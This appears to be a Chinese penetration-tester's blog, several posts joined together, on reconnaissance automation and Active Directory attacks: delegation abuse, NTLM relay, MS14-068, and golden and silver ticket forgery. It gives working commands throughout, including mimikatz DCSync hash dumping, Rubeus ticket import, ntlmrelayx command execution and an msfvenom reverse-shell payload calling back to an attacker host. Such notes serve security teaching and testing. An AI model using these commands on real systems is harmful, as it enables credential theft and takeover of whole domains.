作为一个专业的渗透测试人员,自动化信息收集工具是必不可少的。
起因一次对某大型目标的渗透,需要对几百个根域进行信息收集工作,在繁杂的信息收集工作中,重复而又单调的操作会极大消耗我们的耐心,人工去做这个事情的话非常不现实的。
于是花了周末两天的时间,做了下众多扫描器的调研,大部分环境配置麻烦不说且系统过于笨重,使用起来十分不方便。
在权衡了系统资源消耗,硬件要求,程序人工可干预性、以及后期代码维护的成本,最终用Python + Shell
实现了雏形版本,参考了一下InCloud GitHub云上扫描器 的部分思路,勉强完成了一些基础工具的整合,一些细节的处理都不太完善。
如今经过一年多时间的打磨,基本可以覆盖到信息收集的每一个阶段。
未开源
我对它的定义是 “ 轻量、简洁、可扩展、可自定义、基于实战优化后的参数设置”,下面放一个程序运行流程的思维导图。
后续的web漏洞主动探测使用nuclei + xray
Fast and customizable vulnerability scanner based on simple YAML based DSL.
https://github.com/projectdiscovery/nuclei
1 | nuclei -t /root/nuclei-templates/ -severity critical,high,medium -l all_active_webs.txt -bs 50 -c 50 -rl 150 -nc | anew -q all_nuclei_output.txt |
多线程调用xray+rad进行自动扫描
https://github.com/sv3nbeast/X-AutoXray
1 | python3 X-AutoXray.py all/all_active_webs.txt all/all_xray_result/ |
未开源
后期使用发现,Web
资产多了看起来非常乱,不够直观。
于是基于Python Flask
实现了一个程序,以网页形式整合httpx + gowitness
的探测结果,支持 任意单列排序
、任意单列搜索
、全局搜索
(这里要感谢下:@me1ons 实现的此功能)、行数统计
、截图相似度排序
。
后期使用发现,大型目标收集到的子域名和解析IP的关系错综复杂,肉眼分析起来费时又费力。
CobWeb
蛛网 将关联数据进行可视化显示,方便快速定位目标资产。
测试页:https://www.se7ensec.cn/cobweb/
https://github.com/shmilylty/OneForAll
https://github.com/projectdiscovery/subfinder
https://github.com/boy-hack/ksubdomain
https://github.com/lijiejie/subDomainsBrute
https://github.com/cgboal/sonarsearch
https://github.com/projectdiscovery/dnsx
https://github.com/projectdiscovery/naabu
https://github.com/projectdiscovery/httpx
https://github.com/P1kAju/httpx
https://github.com/adamgordonbell/csvquote
https://github.com/projectdiscovery/nuclei
https://github.com/soimort/translate-shell
https://github.com/sensepost/gowitness
https://github.com/lcvvvv/kscan
https://github.com/tomnomnom/anew
https://github.com/six2dez/ipcdn
https://github.com/ThreatUnkown/jsubfinder
]]>Delegation(委派)
将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动,接受委派的用户只能是服务账户或者主机账户。
域委派存在三种类型,非约束委派、约束委派、基于资源的约束委派。
Client
需要通过HTTP
访问sqlserver
服务器,但HTTP
并没有访问sqlserver
的权限,这时候HTTP
就需要Client
的身份去访问sqlserver
,然后再将请求返回给Client
。
对于非约束性委派(Unconstrained Delegation),
服务账号可以获取被委派用户的TGT,并将TGT缓存到LSASS进程中,从而服务账号可使用该TGT,模拟用户访问任意服务。配置了非约束委派的账户的userAccountControl
属性有个FLAG位TRUSTED_FOR_DELEGATION
。非约束委派的设置需要SeEnableDelegation
特权,该特权通常仅授予域管理员 (注:域控主机账户默认配置非约束委派属性)。
非约束委派(Unconstrained Delegation)是一种风险性极大的委派方式,它通过TGT转发使服务器具有模拟用户的能力。服务账户根据用户发给自己的可转发的TGT代表用户请求其他任何服务,由此可知,一旦开启了无约束委派的服务账户被攻陷,用户身份将被滥用。
查询非约束委派的主机
1 | AdFind.exe -b "DC=nncm,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName |
查询非约束委派的服务账户
1 | AdFind.exe -b "DC=nncm,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName |
查找域中配置非约束委派用户
1 | Get-NetUser -Unconstrained -Domain nncm.com |select name |
查找域中配置非约束委派的主机
1 | Get-NetComputer -Unconstrained -Domain nncm.com | select name |
kali上自带,适合在域外查询
查找域中配置非约束委派的用户
1 | ldapsearch -x -H ldap://192.168.201.166:389 -D "CN=test,CN=Users,DC=nncm,DC=com" -w 123456 -b "DC=nncm,DC=com" "(&(samAccountType=805306368) (userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName" |
查找域中配置非约束委派的主机
1 | ldapsearch -x -H ldap://192.168.201.166:389 -D "CN=administrator,CN=Users,DC=nncm,DC=com" -w 123456 -b "DC=nncm,DC=com" "(&(samAccountType=805306369) (userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName" |
这个实现了前提是:需要获取一台 “主机账户” 开启了非约束委派域内机器的权限
https://github.com/leechristensen/SpoolSample
在机器上以管理员权限执行以下命令,监听来自DC机器的相关信息
1 | Rubeus.exe monitor /interval:1 /filteruser:DC01$ |
利用SpoolSample强制让DC访问WIN-TVHO4UIFMBT机器,抓取票据
1 | SpoolSample.exe DC01 WIN-TVHO4UIFMBT |
Rubeus导入获取到的TGT票据
1 | Rubeus.exe ptt /ticket:抓取下来的票据base64内容 |
或使用powershell命令转成文件格式进行凭据导入
https://blog.csdn.net/a3320315/article/details/106511098
1 | [IO.File]::WriteAllBytes("C:\Users\Public\ticket.kirbi", [Convert]::FromBase64String("base64凭据内容")) |
导出域控hash
1 | mimikatz.exe "log" "lsadump::dcsync /all /csv" "exit" |
约束委派可以作为变种黄金票据,用作后门权限维持。
域渗透——基于资源的约束委派利用 - https://xz.aliyun.com/t/7454
1 | 基于资源的约束委派利用 |
https://forum.butian.net/share/1591 - ※红队域渗透技术:委派攻击汇总(全)
https://xz.aliyun.com/t/7217 - ※域渗透—Kerberos委派攻击(这一篇很不错)
https://mp.weixin.qq.com/s/Ue2ULu8vxYHrYEalEzbBSw - 微软不认的“0day”之域内本地提权-烂番茄(Rotten Tomato)
https://cloud.tencent.com/developer/article/1601095 - 这是一篇“不一样”的真实渗透测试案例分析文章
https://www.cnblogs.com/nice0e3/p/15875685.html - 域内委派攻击
https://xz.aliyun.com/t/10061 - kerberos委派攻击的那些事
https://mp.weixin.qq.com/s/GdmnlsKJJXhElA4GuwxTKQ - 委派攻击知识点全收录(补充)
https://www.cnblogs.com/car7n/p/14789004.html - 委派
https://skewwg.github.io/2020/11/25/yue-shu-wei-pai-li-yong/ - 约束委派利用
https://skewwg.github.io/2020/11/25/ji-yu-zi-yuan-de-yue-shu-wei-pai-li-yong - 基于资源的约束委派利用
]]>Relay(中继)
在Net-NTLM Hash
的破解里面,如果是v1
的话,拿到Net-NTLM
就相当于拿NTLM HASH
,这个时候就没有Relay
的必要性了。
但是在实际中遇到的例子往往是v2
,这个时候密码强度高一点,基本就跑不出来了,这种情况下不妨试一试Relay
。
https://en.hackndo.com/ntlm-relay/#authentication-vs-session
https://daiker.gitbook.io/windows-protocol/ntlm-pian/5#0x00-qian-yan
1 | 0x01 图标 |
WPAD和mitm6 - https://xedex.gitbook.io/internalpentest/internal-pentest/active-directory/initial-attack-vectors/ipv6-attacks
https://evi1cg.me/archives/NTLMRelay.html#%E4%B8%BB%E5%8A%A8%E8%A7%A6%E5%8F%91
https://www.anquanke.com/post/id/194514#h3-6
1 | Exchange |
Exploiting CVE-2019-1040 - Combining relay vulnerabilities for RCE and Domain Admin - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
CVE-2019-1040[算是上面的中文版本] - https://www.cnblogs.com/car7n/p/15143730.html
NTLM relaying to AD CS - On certificates, printers and a little hippo - https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/
AD CS/PKI template exploit via PetitPotam and NTLMRelayx, from 0 to DomainAdmin in 4 steps - https://www.bussink.net/ad-cs-exploit-via-petitpotam-from-0-to-domain-domain/
https://github.com/Ridter/RelayX
https://www.thehacker.recipes/ad/movement/ntlm/relay#theory
SMB
签名以最低要求的方式工作。如果客户端或服务器都不需要签名,则不会对会话进行签名(因为性能问题)
域控默认开启smb签名,而其他域机器默认不开启
默认情况下,ldap
服务器就在域控里面,而且默认策略就是协商签名,而不是强制签名。
也就是说是否签名是由客户端决定的。服务端跟客户端协商是否签名。
微软公司于 2019-09-11
日发布相关通告称微软计划于 2020 年 1 月发布安全更新。为了提升域控制器的安全性,该安全更新将强制开启所有域控制器上 LDAP channel binding
与 LDAP signing
功能。
webadv
或者http
协议,是不要求签名的。
能直接relay
到smb
服务器,是最直接最有效的方法。可以直接控制该服务器(包括但不限于在远程服务器上执行命令,上传exe
到远程命令上执行,dump
服务器的用户hash
等等等等)。
不同Windows版本所对应的smb
版本,smb
版本越高,内置的安全机制就越完善,利用难度也就越大。
对一些打了ms08-068[KB957097]
补丁的老系统[比如windows xp/2003
以下的系统]利用是无效的。
另外,它默认工作在tcp/udp
的139
和445
端口上,属上层协议[偏应用层]。
Smb v1
主要用于xp/2003
以下的系统中Smb v2.x
主要用于win vista/7/2008/2008r2
Smb v3.x
主要用于win 8/8.1/2012/2012r2/2016
这个实用性比较差。在工作组环境里面,工作组中的机器之间相互没有信任关系,每台机器的账号密码Hash只是保存在自己的SAM
文件中。
这个时候Relay
到别的机器,除非两台机器的账号密码一样(如果账号密码一样,我为啥不直接pth呢),不然没有别的意义了,这个时候的攻击手段就是将机器reflect回机子本身。
因此微软在ms08-068
中对smb reflect
到smb
做了限制,这个补丁在CVE-2019-1384(Ghost Potato)
被绕过。
域环境下域用户的账号密码Hash保存在域控的ntds.dit
里面。
如下没有限制域用户登录到某台机子,那就可以将该域用户Relay
到别人的机子,或者是拿到域控的请求,将域控Relay
到普通的机子,比如域管运维所在的机子。(为啥不Relay
到其他域控,看上面的smb签名一节)
下面演示使用几款工具在域环境底下,从域控relay
到普通机器执行命令
1 | nmap -Pn -sT -p 445 --open --script smb-security-mode,smb-os-discovery 192.168.3.73 |
1 | python3 RunFinger.py -i 192.168.3.73 |
1 | crackmapexec smb --gen-relay-list smb_targets.txt 192.168.1.0/24 |
1 | python3 smbrelayx.py -h 192.168.3.73 -c whoami |
msf
的监听要设置set AutoRunScript migrate
,成功得到session
后会自动迁移进程,如果没有设置,在Removing file
的时候会话也随之结束。
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.211 LPORT=4444 -f exe > shell.exe |
ntlmrelayx.py
是对smbrelayx
的改进,支持多种协议进行中继。ntlmrelayx.py
可以直接用现有的hash
去尝试重放指定的机器。
1 | python3 ntlmrelayx.py -t smb://192.168.3.73 -c whoami -smb2support |
1 | python3 ntlmrelayx.py -t 10.0.0.33 -smb2support -e test.exe |
1 | 下面的命令将尝试通过SMB中继身份验证,并尝试从远程目标的SAM转储HASH(如果中继受害者拥有正确的特权)。 |
We’re currently supporting tunneling connections through SOCKS for SMB, MSSQL, SMTP, IMAP/S, HTTP/S.
1 | 运行后输入socks中继提示符,我们可以看到可用的活动连接,以及会话是否对目标具有管理员权限。 |
Playing with Relayed Credentials - https://www.secureauth.com/blog/playing-with-relayed-credentials/
1 | python3 MultiRelay.py -t 192.168.3.73 -u ALL # 返回一个shell,kali环境缺库这里就不测了 |
Exchange
的认证也是支持NTLM SSP
的。我们可以relay Exchange
,从而收发邮件,代理等等。在使用outlook
的情况下还可以通过homepage
或者下发规则
达到命令执行的效果。而且这种Relay
还有一种好处,将Exchange
开放在外网的公司并不在少数,我们可以在外网发起relay
,而不需要在内网,这是最刺激的。(https://daiker.gitbook.io/windows-protocol/ntlm-pian/6#2.-relay2ews)
https://github.com/Arno0x/NtlmRelayToEWS
配合homepage 能够实现命令执行的效果,homepage的简易demo代码如下
1 | <html> |
https://github.com/zyn3rgy/LdapRelayScan
不管是杀伤力巨大的8581
还是1040
,Relay
到ldap
都在里面发挥着巨大的作用。
这里着重介绍三种通用性比较强的利用思路。这三种在impacket
里面的ntlmrelayx
都有实现。
(这三种通用性比较强而已,实际中这个的利用比较灵活,需要通过nTSecurityDescriptor
分析用户在域内对哪些acl
有权限,什么权限。关于acl
怎么深入利用,这里不再展开,后面在ldap篇[https://daiker.gitbook.io/windows-protocol/ldap-pian] 会详细说明。)
如果NTLM发起用户在以下用户组
那么就可以将任意用户拉进该组,从而使该用户称为高权限用户,比如域管。
如果发起者对DS-Replication-GetChanges(GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
和DS-Replication-Get-Changes-All(1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
有write-acl
权限,那么就可以在该acl
里面添加任意用户,从而使得该用户可以具备dcsync
的权限。
这个案例的典型例子就是Exchange Windows Permissions
组,我们将在下一篇介绍8581的 时候详细说下这个用户组的权限。
在server2012r2
之后,如果没有以上两个权限。可以通过设置基于资源的约束委派。
在NTLM
发起者马上到msDS-AllowedToActOnBehalfOfOtherIdentity
属性里面添加一条ace
,可以让任何机器用户和服务用户可以控制该用户(NTLM
发起者),在这里可能需要新增一台Computer账号或者控制一台机器。
两全其美:结合 NTLM 中继和 Kerberos 委托 - https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
渗透小记 - 中继和委派的实战利用 - https://mp.weixin.qq.com/s/rAM3uWimRriY3lKCHhH8Xg
在Server2016
之后,支持属性msDS-KeyCredentialLink
,添加了这个属性以后,就可以利用证书来获取对应主机权限,详细可参考Shadow Credentials
https://www.thehacker.recipes/a-d/movement/ntlm/relay - 基本攻击思路导图和命令记录【很重要】
https://forum.butian.net/share/2087 - 奇安信攻防社区-NTLM realy
https://forum.butian.net/share/1944 - 红队域渗透NTLM Relay:强制认证方式总结
https://daiker.gitbook.io/windows-protocol/ntlm-pian/6#0x02-relay - 代课人永远的神
https://www.cnblogs.com/car7n/p/14887818.html - NTLM Relay
https://www.freebuf.com/articles/network/244375.html - 内网渗透测试:NTLM Relay攻击分析
]]>MS14-068
MS14068
是一个能够使普通用户提权到域控权限的权限提升漏洞。攻击者可以通过构造特定的请求包来达到提升权限的目的。
这个漏洞中主要的问题是存在于KDC
会根据客户端指定PAC
中数字签名的加密算法,以及PAC
的加密算法,来校验PAC
的合法性。这使得攻击者可通过伪造PAC
,修改PAC
中的SID
,导致KDC
判断攻击者为高权限用户,从而导致权限提升漏洞的产生。
漏洞补丁地址: https://technet.microsoft.com/zh-cn/library/security/MS14-068
MS14-068
对应的补丁为KB3011780
,可在域控上通过systeminfo
查看是否安装此补丁。
1 | systeminfo|find "3011780" |
1 | klist purge清除票据 |
py:https://github.com/mubix/pykek
exe:https://github.com/ianxtianxt/MS14-068
参数说明:
-u 域账号@域名称
-p 为当前用户的密码
-s 为当前用户的SID值,可以通过whoami/all来获取用户的SID值
-d 为当前域的域控
–rc4 为当前用户的Hash
1 | dir \\OWA2013.rootkit.org\c$ |
1 | MS14-068.exe -u sqladmin@rootkit.org -p Admin12345 -s S-1-5-21-3759881954-2993291187-3577547808-1613 -d OWA2013.rootkit.org |
ccache
文件,票据导入之前cmd下使用命令klist purge
,或者在mimikatz
中使用kerberos::purge
删除当前缓存的kerberos
票据。1 | klist purge |
ccache
文件1 | mimikatz "kerberos::ptc TGT_sqladmin@rootkit.org.ccache" exit |
impacket工具包里面的goldenPac.py,这个工具是结合ms14-068
加psexec
的产物,利用起来十分顺手。
1 | python goldenPac.py -dc-ip 192.168.3.144 -target-ip 192.168.3.144 rootkit.org/sqladmin:Admin12345@OWA2013.rootkit.org |
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2014/ms14-068
https://daiker.gitbook.io/windows-protocol/kerberos/3#0x00-qian-yan
https://cloud.tencent.com/developer/article/1760132
https://www.cnblogs.com/backlion/p/6820744.html
票据伪造
Golden Ticket(下面称为金票)是通过伪造的TGT(TicketGranting Ticket),因为只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的ST。可以说有了金票就有了域内的最高权限。
1、域名称
2、域的SID值
3、域的KRBTGT账户密码HASH
4、伪造用户名,可以是任意的
金票的生成需要用到krbtgt
的密码HASH
值,可以通过mimikatz
中的命令获取krbtgt
的值。
1 | lsadump::dcsync /OWA2013.rootkit.org /user:krbtgt |
得到KRBTGT HASH
之后使用mimikatz中的kerberos::golden
功能生成金票golden.kiribi
,即为伪造成功的TGT
。
/user:伪造的用户名
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ptt:表示的是Pass The Ticket攻击,是把生成的票据导入内存,也可以使用/ticket导出之后再使用
1 | mimikatz.exe "kerberos::golden /user:administrator /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /krbtgt:c3d5042c67ef5f461d0ba6ecdd9ea449 /ptt" exit |
此时就可以通过dir
成功访问域控的共享文件夹。
1 | dir \\OWA2013.rootkit.org\c$ |
1 | 1. 清空票据 |
具体什么服务需要使用什么票据,参考这里 How Attackers Use Kerberos Silver Tickets to Exploit Systems https://adsecurity.org/?p=2011
Service Type | Service Silver Tickets |
---|---|
WMI | HOST,RPCSS |
PowerShell Remoting | HOST,HTTP(WSMAN,RPCSS) |
WinRM | HOST,HTTP |
Scheduled Tasks | HOST |
Windows File Share (CIFS) | CIFS |
LDAP operations including Mimikatz DCSync | LDAP |
Windows Remote Server Administration Tools | RPCSS,LDAP,CIFS |
Silver Tickets(下面称银票)就是伪造的ST(Service Ticket),因为在TGT已经在PAC里限定了给
Client授权的服务(通过SID的值),所以银票只能访问指定服务。
1、域名称
2、域SID
3、目标服务器的FQDN(Fully Qualified Domain Name全限定域名,即同时带有主机名和域名的名称。)
4、可利用的服务(运行在目标服务器上的kerberos服务,该服务主体名称类型如cifs,http,mssql等)
5、服务账号的NTLM Hash(如果是域控制器机器账号,那就代表DC已经被拿下了)
6、需要伪造的用户名,可以是任意的,这里是silver
首先我们需要知道服务账户
的密码HASH
,这里同样拿域控来举例(注意,这里使用的不是Administrator
账号的HASH
,而是OWA2013$
的)
参数说明:
/domain:当前域名称
/sid:SID值,和金票一样取前面一部分
/target:目标主机,这里是OWA2013.rootkit.org
/service:服务名称,这里需要访问共享文件,所以是cifs
/rc4:服务账户的NTLM HASH
值 (OWA2013$
)
/user:伪造的用户名
/ptt:表示的是Pass The Ticket攻击,是把生成的票据导入内存,也可以使用/ticket导出之后再使用
用kerberos::ptt来导入
1 | 1. 伪造 cifs 服务权限 |
1 | 1. 伪造 cifs 服务权限 |
在Golden Ticket
部分说明可利用krbtgt
的密码HASH
值生成金票,从而能够获取域控权限同时能够访问域内其他主机的任何服务。
但是普通的金票不能够跨域使用,也就是说金票的权限被限制在当前域内。
NEWS.rootkit.org
和 DEV.rootkit.org
均为rootkit.org
的子域,这三个域组成了一个域树。
同样test.org
也是一个单独的域树,两个域树 rootkit.org
和 test.org
组合起来被称为一个域林。
根域和其他域的最大的区别就是根域对整个域林都有控制权。
而域正是根据Enterprise Admins
组来实现这样的权限划分。
EnterpriseAdmins
组是域中用户的一个组,只存在于一个林中的根域中,这个组的成员,这里也就是rootkit.org
中的Administrator
用户(不是本地的Administrator,是域中的Administrator)对域有完全管理控制权。
rootkit.org
的域控上Enterprise Admins
组的RID
为519
。
子域中是不存在EnterpriseAdmins
组的,在一个子域中权限最高的组就是Domain Admins
组。
NEWS.rootkit.org
这个子域中的Administrator
用户,这个Administrator
只有当前域的最高权限。
普通的黄金票据被限制在当前域内,在2015
年Black Hat USA
中国外的研究者提出了突破域限制的增强版的黄金票据。
通过域内主机在迁移时LDAP
库中的SIDHistory
属性中保存的上一个域的SID
值制作可以跨域的金票。
如果知道根域的SID
那么就可以通过子域的KRBTGT
的HASH
值,使用mimikatz
创建具有EnterpriseAdmins
组权限(域林中的最高权限)的票据。
然后通过mimikatz
重新生成包含根域SID
的新的金票
1 | mimikatz "kerberos::golden /admin:administrator /domain:news.rootkit.org` /sid:子域sid /sids:根域sids /krbtgt:子域krbtgt的hash /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit |
参考:https://adsecurity.org/?p=1640
Startoffffset
和endin
分别代表偏移量和长度,renewmax
表示生成的票据的最长时间。
注意这里是不知道根域rootkit.org
的krbtgt
的密码HASH
的,使用的是子域NEWS.rootkit.org
中的KRBTGT
的密码HASH
。
然后就可以通过dir
访问OWA2013.rootkit.org
的共享文件夹,此时的这个票据是拥有整个域林的控制权的。
Kerberos域认证机制剖析
Kerberos是一种网络认证协议,其设计目标是通过密钥系统为Client / Server
应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。
在以上情况下, Kerberos作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享 密钥)执行认证服务的。
Kerberos的标志是三只狗头,狗头分别代表以下三个角色
其中KDC服务默认会安装在一个域的域控中,而Client
和Server
为域内的用户或者是服务,如HTTP服务
,SQL服务
。在Kerberos
中Client
是否有权限访问Server
端的服务由KDC(Key Distribution Center)
发放的票据来决定。
由身份认证服务
AS(Authentication Service)
授予的票据,TGT
用于身份认证,存储在内存,默认有效期为10小时,通过TGT
能够获得票据(Ticket)
,TGT
是一种 临时凭证 的存在,伪造的TGT
又被称为 黄金票据。
是网络对象互相访问的 凭证,
伪造的ST\Ticket
又被称为 白银票据。
负责管理票据、认证票据、分发票据,但是
KDC
不是一个独立的服务,它由以下服务组成:
Client
生成TGT(Ticket Granting Ticket)
的服务。Client
生成某个服务的Ticket
的服务。一个类似于本机
SAM
的一个数据库,存储所有Client
的白名单,只有存在于白名单的Client
才能顺利申请到TGT
。
※补充:从物理层面看,AD与KDC均为域控制器(Domain Controller)。
①-②:Client
向kerberos
服务请求,希望获取访问Server
的权限。 kerberos
得到了这个消息,首先得判断Client
是否是可信赖的, 也就是白名单黑名单的说法。
这就是AS(Authentication Service)
服务完成的工作,通过在AD(Account Database)
中存储黑名单和白名单来区分Client
。
成功后,AS(Authentication Service)
返回TGT(Ticket Granting Ticket)
给Client
。
③-④:Client
得到了TGT(Ticket Granting Ticket)
后,继续向kerberos
请求,希望获取访问 Server
的权限。kerberos
又得到了这个消息,这时候通过Client
消息中的TGT
,判断出了Client
拥有了这个权限,给了Client
访问Server
的权限Ticket
。
⑤-⑥:Client
得到Ticket
后,终于可以成功访问Server
。这个Ticket
只是 针对这个Server
,其他Server
需要向TGS(Ticket Granting Service)
申请。
AS_REQ: Client
向KDC
发起AS_REQ
,请求凭据是Client hash
加密的时间戳
AS_REP: KDC
使用Client hash
进行解密,如果结果正确就返回用krbtgt hash
加密的TGT
票据,TGT
里面包含PAC
,PAC
包含用户Client
的sid
和用户Client
所在的组
。
TGS_REQ: Client
凭借TGT
票据向KDC
发起针对特定Server
的TGS_REQ
请求
TGS_REP: KDC
使用krbtgt hash
进行解密,如果结果正确,就返回用Server hash
加密的TGS
票据 [Ticket
](这一步不管用户有没有访问Server
的权限,只要TGT
正确,就返回TGS
票据 [Ticket
])
AP_REQ: Client
拿着TGS
票据(Ticket
)去请求Server
AP_REP: Server
使用自己的hash
解密TGS
票据(Ticket
)。如果解密正确,就拿着PAC
去KDC
那边问Client
有没有访问权限,域控解密PAC
。获取Client
的sid
,以及所在的组
,再根据该服务的ACL
,判断Client
是否有访问Server
的权限。
1 | 1. pvno |
1 | 1. msg-type |
1 | 1. msg-type |
1 | 1. msg-type |
s4u2self的过程如下图所示(前提条件是服务已经有通过KDC验证的TGT)
S4U2self 使得服务可以代表用户获得针对服务自身的kerberos服务票据。这使得服务可以获得用户的授权( 可转发 的用户TGS票据),然后将其用于后期的认证(主要是后期的s4u2proxy),这是为了在用户以不使用 Kerberos 的方式对服务进行身份验证的情况下使用。这里面很重要的一点是服务代表用户获得针对服务自身的kerberos票据这个过程,服务是不需要用户的凭据的
s4u2proxy的过程如下图所示
s4u2proxy 使得服务1可以使用来自用户的授权( 在S4U2SELF阶段获得),然后用该TGS(放在AddtionTicket里面)向KDC请求访问服务2的TGS,并且代表用户访问服务2,而且只能访问服务2。
在Windows 2000 Server首次发布Active Directory时,Microsoft必须提供一种简单的机制来支持用户通过Kerberos向Web Server进行身份验证并需要代表该用户更新后端数据库服务器上的记录的方案。这通常称为“ Kerberos双跳问题”,并且要求进行委派,以便Web Server在修改数据库记录时模拟用户。
需要注意的一点是接受委派的用户只能是
服务账户
或者计算机用户
。
例子:
服务(如JACKSON-PC$
) 被配置了非约束的委派,那么JACKSON-PC$
可以接受任何用户的委派的去请求其他所有服务。在协议层面的实现就是,某个用户委托JACKSON-PC$
去访问某个服务,那么这个用户会将 TGT(在TGS里面)
发送到JACKSON-PC$
并缓存到LSASS
中,以方便以后使用。 然后JACKSON-PC$
模拟用户去请求某个服务。
配置了非约束委派的用户的userAccountControl
属性有个FLAG
位 TrustedForDelegation
关于userAccountControl 每一位对应的意义可以看Converting AD UserAccountControl Attribute Values,(我们在LDAP篇也会详细介绍),其中 TRUSTED_FOR_DELEGATION 对应是 0x80000 ,也就是 524288 。
微软很早就意识到非约束委派并不是特别安全,在 Windows 2003上发布了”约束”委派。
其中包括一组 Kerberos 协议扩展
,就是本文之前提到的两个扩展 S4U2Self
和 S4U2Proxy
。配置它后,约束委派将限制指定服务器可以代表用户执行的服务。这需要SeEnableDelegation
特权(该特权很敏感,通常仅授予域管理员)才能为服务配置域帐户,并且将帐户限制为单个域。
例子:
计算机用户(即JACKSON-PC$
) 被配置了约束的委派,那么JACKSON-PC$
可以接受任何用户的委派的去请求特定的服务。具体过程是收到用户的请求之后,首先代表用户获得针对服务自身的可转发的kerberos服务票据(S4U2SELF)
,拿着这个票据向KDC
请求访问特定服务的可转发的TGS(S4U2PROXY)
,并且代表用户访问特定服务,而且只能访问该特定服务。
相较于非约束委派,约束委派最大的区别也就是配置的时候选择某个特定的服务,而不是所有服务。
配置了约束委派的用户的userAccountControl 属性有个FLAG位 TrustedToAuthForDelegation 。
关于userAccountControl 每一位对应的意义可以看Converting AD UserAccountControl Attribute Values,其中 TRUSTED_TO_AUTH_FOR_DELEGATION 对应是 0x1000000 ,也就是 16777216 。
为了配置受约束的委派,必须拥有SeEnableDelegation
特权(该特权很敏感,通常仅授予域管理员)。为了使用户/资源更加独立,Windows Server 2012中引入了基于资源的约束委派。基于资源的约束委派允许资源配置受信任的帐户委派给他们。基于资源的约束委派将委派的控制权交给拥有被访问资源的管理员。
基于资源的约束委派只能在运行Windows Server 2012 R2和Windows Server 2012的域控制器上配置,但可以在混合模式林中应用。
这种约束委派的风格与传统约束委派非常相似,但配置相反。
传统约束委派在msDS-AllowedToDelegateTo
属性中的帐户A
上配置,并定义从A
到B
的“传出”信任。
基于资源的约束委派在S-AllowedToActOnBehalfOfOtherIdentity
属性中的帐户B
上配置,并定义从A
到B
的“传入”信任。
微软为了访问控制而引进的一个扩展
PAC
,PAC
在历史上出现过的一个严重的,允许普通用户提升到域管的漏洞MS14068
。
PAC
之后的kerberos
流程KDC
发起AS_REQ
,请求凭据是用户hash
加密的时间戳,KDC
使用用户hash
进行解密,如果结果正确返回用krbtgt hash
加密的TGT票据
,TGT
里面包含PAC
,PAC
中包含用户的sid
、用户所在的组
。用户凭借TGT
向KDC
发起针对特定服务的TGS_REQ
请求,KDC
使用krbtgt hash
进行解密,如果结果正确,就返回用服务hash
加密的ST\Ticket
(这一步不管用户有没有访问服务的权限,只要TGT
正确,就返回ST\Ticket
,这也是kerberoating
能利用的原因:任何一个用户,只要hash
正确,就可以请求域内任何一个服务的ST\Ticket
,具体内容可以参考Windows内网协议学习Kerberos篇之TGSREQ& TGSREP)
用户拿着ST\Ticket
去请求服务,服务使用自己的hash
解密ST\Ticket
。如果解密正确,就拿着PAC
去KDC
那边询问用户有没有访问权限,域控解密PAC
。获取用户的sid
、用户所在的组
,再判断用户是否有访问服务的权限,有访问权限就允许用户访问(有用户hash
,可以制作ST\Ticket
,但是不能制作PAC
,PAC
自然也验证不成功,但是有些服务不去验证PAC
,这是白银票据成功的前提)。
特别说明的是,PAC对于用户和服务全程都是不可见的。只有KDC能制作和查看PAC。
连接配置的时候允许使用hash进行认证,不是只有账号密码才能认证。
由于在进行认证的时候,是使用用户hash
加密时间戳,所以在使用密码进行登录的情况下,也是先把密码加密成hash
后再进行认证。
因此在只有用户hash,没有明文密码的情况下也是可以进行认证的。
不管是rubeus
还是impacket
里面的相关脚本都是支持直接使用hash
进行认证。
1 | 如果 hash 是 ntlm hash ,然后加密方式是 rc4 ,这种就算做是 pass the hash |
在很多地方,不支持rc4加密
方式的时候,使用pass the key
不失为一种好方法。
域内没有域账号的情况下进行用户名枚举
有域账号的情况的下可以直接通过LDAP查询(域机器提到System权限后,其机器账号也是域账号)
进行AS_REQ时,用户名存在但密码错误
与用户名不存在
的相应包有不同,通过这个比较就可以写脚本改变cname的值进行用户名枚举(https://daiker.gitbook.io/windows-protocol/kerberos/1#2.-yong-hu-ming-mei-ju)。
在已有用户名的时候,可以尝试爆破密码。
进行AS_REQ时,用户名存在且密码正确
与用户名存在但密码错误
的相应包有不同。
实战中,都会使用“密码喷洒(Password Spraying)”的技术来进行测试和攻击。因为针对同一个用户的连续密码猜测会导致帐户被锁定,所以只有对所有用户同时指定唯一的密码去登录尝试,消除帐户被锁定的概率从而增加破解成功率。
对于域用户,设置了选项
Do not require Kerberos preauthentication(不要求Kerberos预身份验证)
此时向域控制器的88
端口发送AS_REQ
请求,对收到的AS_REP内容重新组合(enc-part
底下的ciper
,因为这部分是使用用户hash
加密session-key
,我们通过进行离线爆破就可以获得用户hash
),能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,可以使用hashcat对其破解,最终获得该用户的明文口令。
AS
确认Client
端登录者用户身份,通过伪造的TGT
,可以获取任意Kerberos
的访问权限,由krbtgt NTLM Hash
加密。
1 | 1、域名称 |
在Kerberos
认证中,Client
通过AS(Authentication Service)
认证后,AS
会给Client
一个Logon Session Key
和TGT
,而Logon Session Key
并不会保存在KDC
中,krbtgt
的NTLM Hash
又是固定的(此账户一般不会改密码),所以只要得到krbtgt
的NTLM Hash
